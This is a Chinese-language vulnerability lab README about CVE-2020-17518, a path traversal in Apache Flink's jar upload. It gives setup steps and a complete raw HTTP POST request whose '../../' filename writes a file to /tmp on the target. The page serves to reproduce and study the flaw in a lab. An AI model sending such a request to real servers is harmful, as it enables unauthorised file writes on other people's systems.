Aaron
63285f61aa
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47 lines
1.5 KiB
Markdown
47 lines
1.5 KiB
Markdown
# Apache Flink 上传路径穿越漏洞（CVE-2020-17518）
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Apache Flink 是一个开源的分布式流处理和批处理大数据计算引擎。
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Apache Flink 1.5.1 版本引入了一个 REST handler，攻击者可以通过恶意修改 HTTP HEADER，实现将上传的文件写入到本地文件系统的任意位置。该问题在 Apache Flink 1.11.3 版本中得到修复。
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参考链接：
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- <https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4>
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- <https://nvd.nist.gov/vuln/detail/CVE-2020-17518>
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## 环境搭建
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执行如下命令启动一个 Apache Flink jobmanager 1.11.2：
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```
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docker compose up -d
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```
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环境启动后，访问 `http://your-ip:8081` 即可查看到 Apache Flink 的管理页面。
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## 漏洞复现
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发送如下数据包，即可上传一个文件到目标服务器的 `/tmp/success` 位置：
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```
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POST /jars/upload HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Length: 187
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
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success
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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```
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上传成功后，即可在目标服务器上查看到 `/tmp/success` 文件：
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